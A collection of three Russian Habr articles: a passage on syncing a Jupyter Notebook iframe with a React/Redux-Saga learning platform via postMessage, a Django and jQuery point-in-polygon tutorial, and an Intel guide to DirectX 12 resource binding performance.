const task = tasks.find(({id}) => taskId === id);
if (task && task.status === TASK_STATUSES.DISABLED) {
this.selectTaskCell({taskId: null})
return;
}
history.push(reversePath(urls.trainerTask, {...params, taskId}));
return;
}
default:
break;
}
};
```
Тут-то и вызывается диспатч экшена setNotebookSaved, который и позволит Redux-Saga продолжить работу и сохранить тетрадку.
### Глюки выбора
С багом сохранения тетрадки мы совладали. И сразу переключились на новую проблему. Нужно было научиться блокировать задачи (таски), до которых студент ещё не дошёл. Иначе говоря, требовалось синхронизировать навигацию между нашим интерактивным тренажёром и тетрадкой Jupyter Notebook: внутри одного урока у нас была одна сидящая в iframe тетрадка с несколькими тасками, переходы между которыми надо было согласовывать с изменениями интерфейса урока в целом. Например, чтобы по клику на второй таск в интерфейсе урока в тетрадке происходило переключение на ячейку, соответствующую второму таску. И наоборот: если в фрейме Jupyter Notebook ты выбираешь ячейку, привязанную к третьему заданию, то URL в адресной строке браузера должен сразу смениться и, соответственно, в интерфейсе урока должен отобразиться сопроводительный текст с теорией именно по третьему заданию.
Была и задача посложнее. Дело в том, что наша программа обучения рассчитана на последовательное прохождение уроков и заданий. Между тем по умолчанию в юпитеровской тетрадке пользователю ничто не мешает открыть любую ячейку. А в нашем случае каждая ячейка — это отдельное задание. Выходило так, что можно решить первый и третий таск, а второй пропустить. От риска нелинейного прохождения урока нужно было избавиться.
Основой решения послужил всё тот же postMessage. Только нам пришлось дополнительно углубиться в API Jupyter Notebook, конкретнее — в то, что умеет делать сам юпитеровский объект. И придумать механизм проверки того, к какому таску привязана ячейка. В самом общем виде он следующий. В структуре тетрадки ячейки идут последовательно одна за другой. У них могут быть метаданные. В метаданных предусмотрено поле «Теги», и теги — это как раз идентификаторы тасков внутри урока. Кроме того, с помощью тегирования ячеек можно определять, должны ли они пока быть заблокированы у ученика. В итоге в соответствии с нынешней моделью работы тренажёра, ткнув в ячейку, мы запускаем отправку postMessage из iframe в наш фронтенд, который, в свою очередь, ходит в Redux Store и проверяет исходя из свойств таска, доступен ли он нам сейчас. Если недоступен, мы переключаемся на предыдущую активную ячейку.
Так мы добились того, что в тетрадке нельзя выбрать ячейку, которая не должна быть доступна по таймлайну обучения. Правда, это породило пусть некритичный, но баг: ты пытаешься нажать на ячейку с недоступным заданием, и она быстро «моргает»: видно, что она на мгновение активировалась, но тут же была заблокирована. Пока мы эту шероховатость не устранили, проходить уроки она не мешает, но в фоновом режиме мы продолжаем думать, как бы с ней справиться (кстати, есть мысли?).
Чуть-чуть о том, как мы модифицировали для решения задачи свой фронтенд. Снова обратимся к trainer\_type\_jupyter.jsx — сфокусируемся на app\_initialized и select.
С app\_initialized всё элементарно: тетрадка загрузилась, и мы хотим что-то предпринять. Например, выбрать текущую ячейку в зависимости от выбранного таска. Плагин описан так, чтобы можно было передать taskId и переключиться на первую ячейку, этому taskId соответствующую.
А именно:
// trainer\_type\_jupyter.jsx
```
selectTaskCell = ({taskId}) => {
const {selectCell} = this.props;
if (!this.iframeRef) {
return;
}
selectCell({iframe: this.iframeRef, taskId});
};
```
// trainer.actions.js
```
export const selectCell = ({iframe, taskId}) => ({
type: SELECT_CELL,
iframe,
taskId
});
```
// trainer.saga.js
```
function* selectCell({iframe, taskId}) {
iframe.contentWindow.postMessage(JSON.stringify({
type: 'select-cell',
data: {taskId}
}), '*');
yield;
}
function* watchSelectCell() {
yield takeEvery(SELECT_CELL, selectCell);
}
```
// custom.js (Jupyter plugin)
```
function getCellTaskId(cell) {
const notebook = Jupyter.notebook;
while (cell) {
const tags = cell.metadata.tags;
const taskId = tags && tags[0];
if (taskId) {
return taskId;
}
cell = notebook.get_prev_cell(cell);
}
return null;
}
function selectCell({taskId}) {
const notebook = Jupyter.notebook;
const selectedCell = notebook.get_selected_cell();
if (!taskId) {
selectedCell.unselect();
return;
}
if (selectedCell && selectedCell.selected && getCellTaskId(selectedCell) === taskId) {
return;
}
const index = notebook.get_cells()
.findIndex(cell => getCellTaskId(cell) === taskId);
if (index < 0) {
return;
}
notebook.select(index);
const cell = notebook.get_cell(index);
cell.element[0].scrollIntoView({
behavior: 'smooth',
block: 'start'
});
}
function actionListener({data: eventString}) {
...
case 'select-cell':
selectCell(event.data);
break;
```
Теперь можно переключать ячейки и узнавать от iframe, что ячейка была переключена.
При переключении ячейки мы меняем URL и попадаем в другой таск. Осталось только сделать обратное — при выборе в интерфейсе другого таска переключать ячейку. Легко:
```
componentDidUpdate({match: {params: {prevTaskId}}) {
const {match: {params: {taskId}}} = this.props;
if (taskId !== prevTaskId) {
this.selectTaskCell({taskId});
```
### Отдельный котёл для перфекционистов
Круто было бы просто похвастаться тем, какие мы молодцы. Решение в сухом остатке эффективное, хотя выглядит слегка сумбурным: если резюмировать, у нас есть метод, который обрабатывает любое сообщение, приходящее извне (в нашем случае из iframe). Но в построенной нами же самими системе есть штуки, которые лично мне, да и коллегам, не очень нравятся.
• Нет гибкости во взаимодействии элементов: всякий раз, когда мы захотим добавить новую функциональность, нам придётся менять плагин, чтобы он поддерживал как старый, так и новый формат общения. Нет единого изолированного механизма для работы между iframe и нашим фронтенд-компонентом, который отрисовывает Jupyter Notebook в интерфейсе урока и работает с нашими тасками. Глобально — есть желание сделать более гибкую систему, чтобы в дальнейшем было легко добавлять новые экшены, события и обрабатывать их. Причём в случае не только с юпитеровской тетрадкой, но и с любым iframe в тренажёрах. Так что мы смотрим в сторону того, чтобы передавать код плагина через postMessage и ивейлить (eval) его внутри плагина.
• Фрагменты кода, решающие проблемы, разбросаны по всему проекту. Общение с iframe производится как из Redux-Saga, так и из компонента, что уж точно не оптимально.
• Сам iframe с отрисовкой Jupyter Notebook у нас сидит на другом сервисе. Редактировать его слегка проблематично, тем более с соблюдением принципа обратной совместимости. Например, если мы хотим изменить какую-то логику на фронтенде и в самой тетрадке, нам приходится выполнять двойную работу.
• Многое хотелось бы реализовывать проще. Взять хотя бы React. У него уйма lifecycle-методов, и каждый из них нужно обрабатывать. Вдобавок меня смущает привязка к самому React. В идеале хотелось бы уметь работать с нашими iframe независимо от того, какой у тебя фронтенд-фреймворк. Вообще, пересечение выбранных нами технологий накладывает ограничения: та же Redux-Saga ждёт от нас именно Redux-экшенов, а не postMessage.
Так что на достигнутом мы точно не будем останавливаться. Дилемма хрестоматийная: можно уйти в сторону красоты, но пожертвовать оптимальностью performance, или наоборот. Наилучшего решения мы пока не нашли.
Возможно, идеи возникнут у вас? | https://habr.com/ru/post/453876/ | null | ru | null |
# Тестовое задание. Проверка вхождения точки в произвольный полигон
#### Вводная
Сразу оговорюсь кому может быть интересна данная публикация. Это начинающие Django + JQuery программисты, интересующиеся векторной графикой в браузере с использованием canvas. Или просто люди, получившие подобное задание.
Итак, находясь в постоянном сканировании рынка труда своего региона, наткнулся на весьма интересную вакансию web-разработчика в достаточно известной местной компании. В описании вакансии было сказано, что нужен python+django разработчик. После отправки резюме получил тестовое задание которое гласило:
> Необходимо создать веб-приложение на Django, которое определяет факт вхождения точки в произвольный (не выпуклый) полигон. Клиентская часть должна отобразить в браузере (на канвасе или svg, или еще на чем-нибудь, в общем не принципиально) произвольный полигон, позволить пользователю указать точку на экране, отправить запрос на сервер, получить и отобразить ответ. Серверная часть, соответственно, должна принять запрос, определить, находится точка внутри контура, или нет, и вернуть ответ клиенту. Серверная часть на Python, клиентская — HTML + JavaScript либо CoffeeScript.
Потратив пару часов на выполнение задания и публикацию результата на тестовом сервере я уперся в полный игнор со стороны потенциального работодателя. Я не в обиде, бывает всякое, тем более задание было интересное и его выполнение принесло немало удовольствия. Чтобы добро не пропадало — публикую его здесь.
#### Поехали
Первым делом подготовим площадку, я использовал virtualenv:
```
scherbin@scherbin-pc ~$ cd WebDev/venvs
scherbin@scherbin-pc ~/WebDev/venvs/ $ virtualenv test
scherbin@scherbin-pc ~/WebDev/venvs/ $ cd test
scherbin@scherbin-pc ~/WebDev/venvs/test/ $ source bin/activate
```
Устанавливаем необходимый софт и прямо здесь создаем проект:
```
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/ $ pip install django
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/ $ django-admin startproject mytest
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/ $ cd mytest
```
Наш проект будет состоять из двух приложений **start** и **api**. Первое будет отдавать браузеру пользователя HTML и JavaScript то есть наш frontend, второе будет обрабатывать AJAX запросы frontend-а, то есть будет нашим backend-ом. Создаем их:
```
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/mytest/ $ django-admin startapp start
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/mytest/ $ django-admin startapp api
```
#### Структура
Теперь, когда костяк проекта у нас есть, можно переходить непосредственно к творчеству. Для начала распишем структуру проекта. Как было указано выше, он будет состоять из двух частей, frontend и backend.
##### Frontend
Будет выводить в браузере, с использованием canvas, произвольный полигон и обрабатывать клики пользователя по нему. При клике backend-у посредством AJAX запроса будут передаваться две вещи в формате JSON:
1. Массив координат полигона.
2. Координаты точки куда кликнул пользователь.
После получения ответа на его основе в точке клика будет рисоваться круг диаметром 5 пикс. зеленого (входит в полигон) или красного (не входит) цвета.
##### Backend
Принимает запрос от frontend-а, вычисляет принадлежность точки полигону и возвращает результат в виде координат точки и boolean признака вхождения. Как видим многоугольник не хранится на сервере и есть потенциальная возможность использования и backend-а в случаях когда многоугольник меняется.
#### Реализация
Первым делом нам надо вывести наш полигон в браузере пользователя. Создаем главную (и единственную в нашем мини проекте) HTML страницу.
*mytest/start/templates/start/index.html*:
```
Тестовое задание
{% load staticfiles %}
canvas#canvas-main {
border: 1px solid darkgray;
}
```
Как видно из кода на странице используется библиотека JQuery версии 1.12.0 и наш *main.js* файл где содержится JavaScript код, реализующий всю рутину. А именно рисование полигона, обработку кликов и связь с backend-ом. По сути это главный файл нашего мини проекта.
*mytest/start/static/js/main.js:*
```
$(function() {
/**
* Координаты нашего полигона
*/
var polygon = [
[200, 50],
[415, 80],
[550, 200],
[700, 200],
[300, 400],
[750, 580],
[150, 530],
[100, 150],
[300, 250],
[200, 50]
];
/**
* Размеры холста
*/
var canvasWidth = 800;
var canvasHeight = 600;
/**
* Функция вывода нашего полигона на холсте с использованием массива координат
*/
var drawPolygon = function(id, coords) {
var canvas = $("#"+id);
if (canvas.length) {
var context = canvas[0].getContext("2d");
context.canvas.width = canvasWidth;
context.canvas.height = canvasHeight;
context.beginPath();
for (var i = 0; i < coords.length; i++) {
if (i == 0) context.moveTo(coords[i][0], coords[i][1]);
else context.lineTo(coords[i][0], coords[i][1]);
}
context.strokeStyle = '#0000';
context.stroke();
}
};
/**
* Обрабатываем нажатия мышкой на холст
*/
$(document).on("click", "#canvas-main", function(event){
// ФИксируем координаты клика
var x = event.pageX-$(this).offset().left;
var y = event.pageY-$(this).offset().top;
// Готовим запрос к серверу. Запрос содержит координаты полигона и точки куда был произведен клик
var query = {
"polygon": polygon,
"point": [x, y]
};
// Получаем доступ к холсту
var context = $(this)[0].getContext("2d");
// Выполняем POST запрос к серверу
$.ajax({
type: "POST",
url: '/api/in_polygon',
data: JSON.stringify(query),
success: function(data) {
// ОБрабатываем полученный ответ
p = data['point'];
// Рисуем круг в точке клика
context.beginPath();
context.arc(p[0], p[1], 5, 0, 2 * Math.PI, false);
// По результату запроса заливаем круг зеленым или красным цветом
if (data['in_polygon'])
context.fillStyle = "#73AD21";
else
context.fillStyle = "#FF0000";
context.fill();
}
});
});
/**
* Рисуем полигон сразу после загрузки страницы
*/
drawPolygon("canvas-main", polygon);
});
```
Теперь необходимо реализовать саму проверку вхождения точки в полигон. Алгоритм использован самый простейший — трассировка луча. Последовательно проверяются все грани полигона на пересечение с лучом, идущим из точки, куда кликнул пользователь. Четное количество пересечений или нет пересечений вовсе — точка за пределами полигона. Количество пересечений нечетное — точка внутри. Далее python реализация в backend приложении **api**.
*mytest/api/views.py:*
```
# -*- coding: utf-8 -*-
import json
from django.http import HttpResponse, JsonResponse
# Create your views here.
def in_polygon(request):
if request.method == 'POST':
data = json.loads(request.body)
in_polygon = False
# Main algorithms
x = data['point'][0]
y = data['point'][1]
for i in range(len(data['polygon'])):
xp = data['polygon'][i][0]
yp = data['polygon'][i][1]
xp_prev = data['polygon'][i-1][0]
yp_prev = data['polygon'][i-1][1]
if (((yp <= y and y < yp_prev) or (yp_prev <= y and y < yp)) and (x > (xp_prev - xp) * (y - yp) / (yp_prev - yp) + xp)):
in_polygon = not in_polygon
response = {u'in_polygon': in_polygon, u'point': [x, y]}
return JsonResponse(response)
else:
return HttpResponse(u'Запрос должен использовать метод POST');
```
Теперь основной функционал готов. Осталось заставить все это дело работать. Для этого правим три файла.
*mytest/mytest/settings.py*
```
# Application definition
INSTALLED_APPS = [
...
'start',
'api',
]
```
*mytest/mytest/urls.py*
```
from django.conf.urls import *
from django.contrib import admin
from start.views import *
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^api/', include('api.urls')),
url(r'^$', start_index),
]
```
*mytest/api/urls.py*
```
from django.conf.urls import *
from api.views import *
urlpatterns = [
url(r'^in_polygon$', in_polygon, name='in_polygon')
]
```
С этого момента можно запускать встроенный в Django тестовый web сервер:
```
(test)scherbin@scherbin-pc ~/WebDev/venvs/test/mytest/ $ ./manage.py runserver
```
И играть в зеленые и красные точки перейдя в браузере по адресу [localhost](http://localhost):8000/. Должна получиться картинка, аналогичная той, что в начале поста. | https://habr.com/ru/post/283294/ | null | ru | null |
# Привязка ресурсов в Microsoft DirectX 12. Вопросы производительности
Давайте подробнее рассмотрим привязку ресурсов на платформах Intel. Сейчас это особенно актуально в связи с выпуском 6-го поколения процессоров семейства Intel Core (Skylake) и с выпуском операционной системы Windows 10, который состоялся 29 июля.
В предыдущей статье [Введение в привязку ресурсов в Microsoft DirectX\* 12](https://software.intel.com/en-us/articles/introduction-to-resource-binding-in-microsoft-directx-12) были описаны новые способы привязки ресурсов в DirectX 12. Вывод из этой статьи был таким: при наличии настолько широкого выбора основная задача заключается в том, чтобы выбрать наилучший механизм привязки для целевого GPU, оптимальные типы ресурсов и частоту их обновления.
В этой статье описывается выбор различных механизмов привязки ресурсов для эффективного запуска приложений на определенных GPU Intel.
Инструменты
===========
Для разработки игр на основе DirectX 12 требуется следующее:
* Windows 10.
* Visual Studio\* 2013 или более поздней версии.
* Пакет DirectX 12 SDK, входящий в состав Visual Studio.
* GPU и драйверы, поддерживающие DirectX 12.
Обзор
=====
Дескриптор — это блок данных, описывающий объект для GPU, в «непрозрачном» формате, предназначенном для GPU. В DirectX 12 поддерживаются следующие дескрипторы, которые ранее назывались «представлениями ресурсов» в DirectX 11:
* Представление буфера констант (CBV).
* Представление ресурсов шейдера (SRV).
* Представление неупорядоченного доступа (UAV).
* Представление семплера (SV).
* Представление цели рендеринга (RTV).
* Представление шаблона глубины (DSV).
* И другие.
Эти дескрипторы или представления ресурсов можно считать структурой (блоком), которая потребляется front end графического процессора. Размер дескрипторов составляет приблизительно 32–64 байта. Дескрипторы содержат информацию о размерах текстур, их формате и разметке.
Дескрипторы хранятся в куче дескрипторов, которая представляет собой последовательность структур в памяти.
Таблица дескрипторов указывает на дескрипторы в куче с помощью значений смещения. Таблица сопоставляет непрерывный диапазон дескрипторов с ячейками шейдера, делая их доступными с помощью рутовой подписи (root signature). Рутовая подпись также может содержать рутовые константы (root constants), рутовые дескрипторы (root descriptors) и статические семплеры.
*Рисунок 1. Дескрипторы, куча дескрипторов, таблицы дескрипторов, рутовая подпись*
На рисунке 1 показана взаимосвязь между дескрипторами, кучей дескрипторов, таблицами дескрипторов и рутовой подписью.
Код, описываемый на рисунке 1, выглядит так.
```
// the init function sets the shader registers
// parameters: type of descriptor, num of descriptors, base shader register
// the first descriptor table entry in the root signature in
// image 1 sets shader registers t1, b1, t4, t5
// performance: order from most frequent to least frequent used
D3D12_DESCRIPTOR_RANGE Param0Ranges[3];
Param0Ranges[0].Init(D3D12_DESCRIPTOR_RANGE_SRV, 1, 1); // t1 Param0Ranges[1].Init(D3D12_DESCRIPTOR_RANGE_CBV, 1, 1); // b1 Param0Ranges[2].Init(D3D12_DESCRIPTOR_RANGE_SRV, 2, 4); // t4-t5
// the second descriptor table entry in the root signature
// in image 1 sets shader registers u0 and b2
D3D12_DESCRIPTOR_RANGE Param1Ranges[2]; Param1Ranges[0].Init(D3D12_DESCRIPTOR_RANGE_UAV, 1, 0); // u0 Param1Ranges[1].Init(D3D12_DESCRIPTOR_RANGE_CBV, 1, 2); // b2
// set the descriptor tables in the root signature
// parameters: number of descriptor ranges, descriptor ranges, visibility
// visibility to all stages allows sharing binding tables
// with all types of shaders
D3D12_ROOT_PARAMETER Param[4];
Param[0].InitAsDescriptorTable(3, Param0Ranges, D3D12_SHADER_VISIBILITY_ALL);
Param[1].InitAsDescriptorTable(2, Param1Ranges, D3D12_SHADER_VISIBILITY_ALL); // root descriptor
Param[2].InitAsShaderResourceView(1, 0); // t0
// root constants
Param[3].InitAsConstants(4, 0); // b0 (4x32-bit constants)
// writing into the command list
cmdList->SetGraphicsRootDescriptorTable(0, [srvGPUHandle]);
cmdList->SetGraphicsRootDescriptorTable(1, [uavGPUHandle]);
cmdList->SetGraphicsRootConstantBufferView(2, [srvCPUHandle]);
cmdList->SetGraphicsRoot32BitConstants(3, {1,3,3,7}, 0, 4);
```
Показанный выше исходный код настраивает рутовую подпись таким образом, чтобы у нее было две таблицы дескрипторов, один рутовый дескриптор и одна рутовая константа. Код также показывает, что у рутовых констант нет косвенного обращения, они предоставляются напрямую вызовом *SetGraphicsRoot32bitConstants*. Они связаны напрямую с регистрами шейдера; нет ни самого буфера констант, ни дескриптора буфера констант, ни привязки. Рутовые дескрипторы имеют только один уровень косвенного обращения, поскольку они хранят указатель на память (дескриптор -> память), а таблицы дескрипторов имеют два уровня косвенного обращения (таблица дескрипторов -> дескриптор -> память).
Дескрипторы находятся в разных кучах в зависимости от их типов, например SV и CBV/SRV/UAV. Это обусловлено очень большими различиями между размерами дескрипторов разных типов на разных аппаратных платформах. Для каждого типа кучи дескрипторов должна быть выделена только одна куча, поскольку изменение кучи может быть крайне ресурсоемкой операцией.
В целом в DirectX 12 поддерживается заблаговременное выделение более одного миллиона дескрипторов, что вполне достаточно для целого игрового уровня. В прежних версиях DirectX выделение ресурсов происходило при работе драйвера на его собственных «условиях», а в DirectX 12 можно вообще избежать выделения ресурсов при выполнении. Это означает, что выделение дескрипторов больше не влияет на производительность.
**Примечание.** В процессорах Intel® Core™ 3-го поколения (Ivy Bridge) и 4-го поколения (Haswell) при использовании DirectX 11 и архитектуры драйверов WDDM (Windows Display Driver Model) версии 1.x ресурсы динамически сопоставлялись с памятью на основе ссылок на ресурсы в буфере команд с операцией сопоставления таблицы страниц. За счет этого удавалось избежать копирования данных. Динамическое сопоставление имело большое значение, поскольку эти архитектуры выделяли графическому процессору только 2 ГБ памяти (в семействе процессоров Intel® Xeon® E3-1200 v4 (Broadwell) выделялось больше).
В DirectX 12 и WDDM версии 2.x теперь невозможно переназначать ресурсы в виртуальное адресное пространство GPU по мере необходимости, поскольку ресурсам при создании необходимо назначать статический виртуальный адрес и этот виртуальный адрес невозможно изменить после создания. Даже если ресурс вытеснен из памяти GPU, он сохраняет свой виртуальный адрес для более позднего срока, когда он снова становится резидентным.
Поэтому ограничивающим фактором может стать общий объем памяти в 2 ГБ, выделяемый графическому процессору в семействах Ivy Bridge/Haswell.
Как сказано в предыдущей статье, идеально сбалансированное приложение может использовать сочетание всех типов привязок: рутовые константы, рутовые дескрипторы, таблицы дескрипторов для дескрипторов, получаемых на лету по мере выдачи вызовов отрисовки, а также динамическое индексирование крупных таблиц дескрипторов.
Производительность различных архитектур может различаться при использовании крупных наборов рутовых констант и рутовых дескрипторов по сравнению с использованием таблиц дескрипторов. По этой причине может потребоваться оптимально настроить соотношение между рутовыми параметрами и таблицами дескрипторов в зависимости от целевых аппаратных платформ.
Предполагаемые изменения
========================
Чтобы понять, какие изменения повлекут дополнительные затраты ресурсов, сначала нужно выяснить, как именно игровые движки обычно изменяют данные, дескрипторы, таблицы дескрипторов и рутовые подписи.
Начнем с так называемых постоянных (константных) данных. В большинстве игр все постоянные данные обычно хранятся в «системной памяти». Игровой движок изменяет данные в памяти, доступной для ЦП, а затем — в кадре. Целый блок постоянных данных копируется или сопоставляется в память GPU, а затем прочитывается графическим процессором с помощью представления буфера констант или рутового дескриптора.
Если постоянные данные предоставляются с помощью *SetGraphicsRoot32BitConstants()* в качестве рутовой константы, запись в рутовом дескрипторе не изменяется, но данные могут изменяться. Если они предоставляются с помощью дескриптора CBV == и таблицы дескрипторов, то дескриптор не изменяется, но данные могут изменяться.
В случае если нам нужно несколько представлений буфера констант (например, для двойной или тройной буферизации при рендеринге), CBV или дескриптор могут изменяться для каждого кадра в рутовой подписи.
Для данных текстур предполагается выделение памяти GPU при запуске. Затем будет создан дескриптор SV ==, он будет сохранен в таблице дескрипторов или в статическом семплере, и на него будет указывать ссылка в рутовом дескрипторе. После этого данные и дескриптор или статический семплер не изменяются.
Для динамических данных, таких как изменяющиеся данные текстур или буфера (например, текстуры с отображаемым локализованным текстом, буферы с анимированными вершинами или с создаваемыми моделями), мы выделяем цель рендеринга или буфер, предоставляем RTV или UAV, то есть дескрипторы, после чего эти дескрипторы могут уже не изменяться. Данные в цели рендеринга или в буфере могут изменяться.
Если нам нужно несколько целей рендеринга или буферов (например, для двойной или тройной буферизации при рендеринге), дескрипторы могут изменяться для каждого кадра в рутовой подписи.
В дальнейшем обсуждении изменение считается важным для привязки ресурсов, если оно связано со следующим:
* Изменение или замена дескриптора в таблице дескрипторов, например CBV, RTV или UAV.
* Изменение записи в рутовой подписи.
Дескрипторы в таблицах дескрипторов в семействах процессоров Haswell/Broadwell
==============================================================================
На платформах Haswell/Broadwell при изменении одной таблицы дескрипторов в рутовой подписи затрачивается столько же ресурсов, сколько при изменении всех таблиц дескрипторов. Изменение одного аргумента приводит к тому, что оборудованию приходится создавать копию (версию) всех текущих аргументов. Количество рутовых параметров в рутовой подписи — это количество данных, для которых оборудованию приходится создавать новую версию (т. е. полную копию) при изменении любого подмножества.
**Примечание.** Для всех остальных типов памяти в DirectX 12, таких как кучи дескрипторов, ресурсы буферов и т. п., оборудование не создает новые версии.
Другими словами, на изменение всех параметров затрачивается примерно столько же ресурсов, сколько на изменение одного (см. [Лоритцен] и [MSDN]). Меньше всего ресурсов тратится, разумеется, если ничего не изменять, но это бесполезно.
**Примечание.** На другом оборудовании, где память разделяется на быструю и медленную, хранилище рутовых аргументов (root arguments) будет создавать новую версию только той области памяти, где изменился аргумент, то есть либо быстрой области, либо медленной области.
На платформах Haswell/Broadwell дополнительные затраты на изменение таблиц дескрипторов могут быть обусловлены ограниченным размером таблицы привязки в оборудовании.
Таблицы дескрипторов на этих аппаратных платформах используют аппаратные «таблицы привязки». Каждая запись таблицы привязки является одиночным значением DWORD, которое можно считать смещением в куче дескрипторов. В кольце размером 64 КБ может храниться 16 384 записи таблиц привязки.
Другими словами, объем памяти, потребляемый каждым вызовом отрисовки, зависит от суммарного количества дескрипторов, которые проиндексированы в таблице дескрипторов и на которые указывают ссылки в рутовой подписи.
Если мы исчерпаем 64 КБ памяти для записей таблицы привязки, драйвер выделит еще одну таблицу привязки размером 64 КБ. Переключение между этими таблицами приводит к остановке конвейера, как показано на рисунке 2.
*Рисунок 2. Остановка конвейера (рисунок Эндрю Лоритцена)*
Предположим, что рутовая подпись ссылается на 64 дескриптора в таблице дескрипторов. Остановка будет происходить через каждые 16 384/64 = 256 вызовов отрисовки.
Поскольку на изменение рутовой подписи затрачивается немного ресурсов, предпочтительнее использовать много рутовых подписей с небольшим количеством дескрипторов в таблице дескрипторов, а не рутовые подписи с большим количеством дескрипторов в таблице дескрипторов.
Следовательно, на платформах Haswell/Broadwell желательно, чтобы в таблицах дескрипторов было как можно меньше ссылок на дескрипторы.
Что это означает с точки зрения рендеринга? При использовании большего количества таблиц дескрипторов с меньшим числом дескрипторов в каждой таблице (и, следовательно, при большем количестве рутовых подписей) увеличивается количество объектов состояния конвейера (PSO), поскольку между такими объектами и рутовыми подписями поддерживаются отношения «один к одному».
Увеличение количества объектов состояния конвейера может привести к увеличению количества шейдеров, которые в этом случае могут быть более специализированными вместо более длинных шейдеров, обладающих более широким набором функций, согласно общей рекомендации.
Рутовые константы и дескрипторы в семействах процессоров Haswell/Broadwell
==========================================================================
Как было сказано выше, с точки зрения затрачиваемых ресурсов изменение одной таблицы дескрипторов равноценно изменению всех таблиц дескрипторов. Аналогичным образом изменение одной рутовой константы или рутового дескриптора равноценно изменению всех (см. [Лоритцен]).
Рутовые константы реализованы с помощью «вещательных констант», которые представляют собой буфер, используемый оборудованием для заблаговременного заполнения регистров операционных блоков (EU). Поскольку значения доступны сразу же после запуска потока EU, можно добиться повышения производительности, храня постоянные данные в качестве рутовых констант, а не в таблицах дескрипторов.
Рутовые дескрипторы также реализованы с помощью «вещательных констант». Они представляют собой указатели, передаваемые в виде констант шейдерам с чтением данных посредством обычного пути доступа к памяти.
Таблицы дескрипторов и рутовые константы/дескрипторы в семействах процессоров Haswell/Broadwell
===============================================================================================
Мы рассмотрели реализацию таблиц дескрипторов, рутовых констант и дескрипторов. Теперь можно ответить на основной вопрос этой статьи: «Что предпочтительнее использовать?». В силу ограниченного размера аппаратной таблицы привязки и возможных остановок, связанных с превышением этого ограничения, изменение рутовых констант и рутовых дескрипторов представляется менее ресурсоемкой операцией на платформах Haswell/Broadwell, поскольку им не требуется аппаратная таблица привязки. Наибольший выигрыш при следовании этому принципу достигается в случае, если данные изменяются при каждом вызове отрисовки.
Статические семплеры в семействах процессоров Haswell/Broadwell
===============================================================
Как было описано в предыдущей статье, можно определить семплеры в рутовой подписи или непосредственно в шейдере с помощью языка рутовой подписи HLSL. Такие семплеры называются статическими.
На платформах Haswell/Broadwell драйвер помещает статические семплеры в обычную кучу семплеров. Это равноценно помещению их в дескрипторы вручную. На других аппаратных платформах семплеры помещаются в регистры шейдера, поэтому статические семплеры можно компилировать непосредственно в шейдер.
В целом статические семплеры обеспечивают высокую производительность на любых платформах, поэтому можно их использовать без каких-либо оговорок. Тем не менее на платформах Haswell/Broadwell существует вероятность, что при увеличении количества дескрипторов в таблице дескрипторов мы будем чаще сталкиваться с остановкой конвейера, поскольку аппаратная таблица дескрипторов содержит только 16 384 ячейки.
Вот синтаксис статического семплера в HLSL.
```
StaticSampler( sReg,
[ filter = FILTER_ANISOTROPIC,
addressU = TEXTURE_ADDRESS_WRAP,
addressV = TEXTURE_ADDRESS_WRAP,
addressW = TEXTURE_ADDRESS_WRAP,
mipLODBias = 0.f, maxAnisotropy = 16,
comparisonFunc = COMPARISON_LESS_EQUAL,
borderColor = STATIC_BORDER_COLOR_OPAQUE_WHITE,
minLOD = 0.f, maxLOD = 3.402823466e+38f,
space = 0, visibility = SHADER_VISIBILITY_ALL ])
```
Большая часть параметров не нуждается в пояснении, поскольку они аналогичны используемым на уровне C++. Основное различие заключается в цвете границ: на уровне C++ поддерживается полный цветовой диапазон, тогда как на уровне HLSL доступен только непрозрачный белый, непрозрачный черный и прозрачный черный. Пример статического шейдера.
```
StaticSampler(s4, filter=FILTER_MIN_MAG_MIP_LINEAR)
```
Skylake
=======
В Skylake поддерживается динамическое индексирование всей кучи дескрипторов (около 1 миллиона ресурсов) в одной таблице дескрипторов. Это означает, что одной таблицы дескрипторов может быть достаточно для индексирования всей доступной памяти кучи дескрипторов.
По сравнению с прежними архитектурами нет необходимости настолько часто изменять записи таблиц дескрипторов в рутовой подписи. Кроме того, можно также уменьшить количество рутовых подписей. Разумеется, для разных материалов потребуются разные шейдеры и, следовательно, разные объекты состояния конвейера (PSO). Но эти объекты PSO могут ссылаться на одни и те же рутовые подписи.
Современные графические движки используют меньше шейдеров, чем предыдущие версии в DirectX 9 и DirectX 11, поэтому можно избежать расходования ресурсов на смену шейдеров и связанных состояний, уменьшить количество рутовых подписей и (соответственным образом) объектов PSO, что обеспечит прирост производительности на любой аппаратной платформе.
Заключение
==========
Если говорить о платформах Haswell/Broadwell и Skylake, то рекомендации по повышению производительности приложений DirectX 12 зависят от используемой платформы. Для Haswell/Broadwell желательно, чтобы количество дескрипторов в таблице дескрипторов было небольшим, тогда как для Skylake рекомендуется, чтобы таблицы дескрипторов содержали как можно больше дескрипторов, но самих таблиц было меньше.
Для достижения оптимальной производительности разработчик приложений может проверять тип аппаратной платформы при запуске, а затем соответственным образом выбирать способ привязки ресурсов. (Пример определения GPU, показывающий, как обнаруживать различную архитектуру оборудования Intel®, доступен [здесь](https://software.intel.com/en-us/articles/gpu-detect-sample/).) Выбор способа привязки ресурсов определяет, каким образом будут записаны шейдеры системы.
Ссылки и полезные материалы
===========================
1. [Лоритцен] Эндрю Лоритцен и др., «Эффективный рендеринг с помощью DirectX 12 на GPU Intel Graphics», GDC, 2015 г.
2. [MSDN] [MSDN, «Расширенное использование таблиц дескрипторов»](https://msdn.microsoft.com/en-us/library/windows/desktop/dn859250(v=vs.85).aspx).
3. [Блог Microsoft DirectX](http://blogs.msdn.com/b/directx/)
4. DirectX 12 в Twitter: [@DirectX12](https://twitter.com/DirectX12).
5. [Direct3D\* 12 — эффективность и производительность консольных API на ПК](https://software.intel.com/en-us/articles/console-api-efficiency-performance-on-pcs)
6. [Учебные материалы по графике Microsoft DirectX 12 (канал YouTube)](https://www.youtube.com/channel/UCiaX2B8XiXR70jaN7NK-FpA). | https://habr.com/ru/post/277121/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.